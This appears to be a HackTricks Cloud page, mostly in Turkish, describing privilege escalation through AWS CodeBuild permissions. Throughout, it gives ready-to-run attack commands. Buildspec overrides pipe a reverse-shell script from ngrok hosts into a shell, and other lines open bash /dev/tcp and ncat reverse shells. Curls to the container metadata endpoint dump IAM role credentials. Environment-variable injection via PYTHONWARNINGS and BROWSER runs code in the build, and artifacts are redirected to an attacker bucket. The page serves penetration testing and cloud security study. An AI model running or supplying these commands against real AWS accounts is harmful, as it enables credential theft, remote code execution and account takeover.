AWS - Codebuild Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
codebuild
Daha fazla bilgi için:
codebuild:StartBuild | codebuild:StartBuildBatch
Bu izinlerden yalnızca birine sahip olmak, yeni bir buildspec ile bir build tetiklemek ve projeye atanmış IAM rolünün token’ını çalmak için yeterlidir:
cat > /tmp/buildspec.yml <<EOF
version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF
aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml
Not: Bu iki komut arasındaki fark:
StartBuildbelirli birbuildspec.ymlkullanarak tek bir build işi tetikler.StartBuildBatchdaha karmaşık yapılandırmalarla (ör. birden fazla build’i paralel çalıştırma gibi) bir batch build başlatmanıza olanak tanır.
Olası Etki: Bağlı AWS Codebuild rolleri üzerinde doğrudan privesc.
StartBuild Ortam Değişkeni Geçersiz Kılma
Proje üzerinde değişiklik yapamıyor olsanız (UpdateProject) ve buildspec’i geçersiz kılamıyor olsanız bile, codebuild:StartBuild yine de build zamanında ortam değişkenlerini şu yollarla geçersiz kılmanıza izin verir:
- CLI:
--environment-variables-override - API:
environmentVariablesOverride
Eğer build davranışı ortam değişkenleriyle kontrol ediliyorsa (destination buckets, feature flags, proxy settings, logging, vb.), bu, build rolünün erişebildiği sırları exfiltrate secrets etmek veya build içinde code execution elde etmek için yeterli olabilir.
Örnek 1: Artifact/Upload Destination’ı Yeniden Yönlendirerek exfiltrate secrets
Eğer build bir artifact’ı bir env var ile kontrol edilen bir bucket/path’e yayınlıyorsa (örneğin UPLOAD_BUCKET), bunu saldırgan kontrollü bir bucket ile geçersiz kılın:
export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"
export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)
# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done
# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
Example 2: Python Startup Injection via PYTHONWARNINGS + BROWSER
If the build runs python3 (common in buildspecs), you can sometimes get code execution without touching the buildspec by abusing:
PYTHONWARNINGS: Python resolves the category field and will import dotted paths. Setting it to...:antigravity.x:...forces importing the stdlib moduleantigravity.antigravity: callswebbrowser.open(...).BROWSER: controls whatwebbrowserexecutes. On Linux it is:-separated. Using#%smakes the URL argument a shell comment.
This can be used to print the CodeBuild role credentials (from http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) into CloudWatch logs, then recover them if you have log read permissions.
Genişletilebilir: PYTHONWARNINGS + BROWSER hilesi için StartBuild JSON isteği
```json
{
"projectName": "codebuild_lab_7_project",
"environmentVariablesOverride": [
{
"name": "PYTHONWARNINGS",
"value": "all:0:antigravity.x:0:0",
"type": "PLAINTEXT"
},
{
"name": "BROWSER",
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
"type": "PLAINTEXT"
}
]
}
```
iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Bir saldırgan, iam:PassRole, codebuild:CreateProject ve codebuild:StartBuild veya codebuild:StartBuildBatch izinlerine sahipse, çalışır durumda bir tane oluşturarak herhangi bir codebuild IAM rolüne yetki yükseltmesi yapabilir.
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
REV_PATH="/tmp/rev.json"
printf "$JSON" > $REV_PATH
# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
# Build it
aws codebuild start-build --project-name codebuild-demo-project
# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output
# Delete the project
aws codebuild delete-project --name codebuild-demo-project
Potansiyel Etki: Direct privesc to any AWS Codebuild role.
Warning
Bir Codebuild container içinde
/codebuild/output/tmp/env.shdosyası metadata credentials’e erişmek için gereken tüm env değişkenlerini içerir.Bu dosya, env variable
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI’yi içerir; bu değişken, kimlik bilgilerine erişmek için gereken URL path’i içerir. Şöyle bir şey olacaktır:/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420Bunu
http://169.254.170.2/URL’sine eklediğinizde role credentials’i dökebilirsiniz.Ayrıca, metadata info about the container almak için tam URL’i içeren env variable
ECS_CONTAINER_METADATA_URI’yi de içerir.
iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Önceki bölümde olduğu gibi, eğer bir build projesi oluşturmak yerine mevcut projeyi değiştirebiliyorsanız, IAM Role’u belirleyip token’ı çalabilirsiniz.
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"
# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"
printf "$JSON" > $REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Olası Etki: Herhangi bir AWS Codebuild role’üne doğrudan privesc.
codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)
Bir önceki bölümde olduğu gibi ama iam:PassRole izni olmadan, bu izinleri kötüye kullanarak mevcut Codebuild projelerini değiştirebilir ve zaten atandıkları role erişebilirsiniz.
REV_PATH="/tmp/codebuild_pwn.json"
# Enumerate then env and get creds
REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"
# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
Olası Etki: Bağlı AWS Codebuild rollerine doğrudan privesc.
SSM
Bir ssm session başlatmak için yeterli izine sahip olmak, derlenmekte olan bir Codebuild projesinin içine girmeyi mümkün kılar.
The codebuild project will need to have a breakpoint:
phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
- codebuild-breakpoint
Ve sonra:
aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>
For more info check the docs.
(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject
Belirli bir CodeBuild projesinin build’ini başlatma/yeniden başlatma yetkisine sahip bir saldırgan, proje buildspec.yml dosyasını saldırganın yazma erişimi olan bir S3 bucket’ında saklıyorsa, CodeBuild sürecinde command execution elde edebilir.
Not: Yükseltme yalnızca CodeBuild worker’ının saldırganın rolünden farklı ve umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
vim ./buildspec.yml
# Add the following lines in the "phases > pre_builds > commands" section
#
# - apt-get install nmap -y
# - ncat <IP> <PORT> -e /bin/sh
aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml
aws codebuild start-build --project-name <project-name>
# Wait for the reverse shell :)
Böyle bir buildspec kullanarak bir reverse shell elde edebilirsiniz:
version: 0.2
phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
Etkisi: Genellikle yüksek ayrıcalıklara sahip olan AWS CodeBuild worker tarafından kullanılan role doğrudan privesc.
Warning
buildspec’in zip formatında olması beklenebileceğini unutmayın; bu yüzden bir saldırganın kök dizinden
buildspec.ymldosyasını indirip, unzip edip, değiştirip tekrar zipleyip yüklemesi gerekir
Daha fazla ayrıntı burada bulunabilir.
Olası Etki: Bağlı AWS Codebuild rollerine doğrudan privesc.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

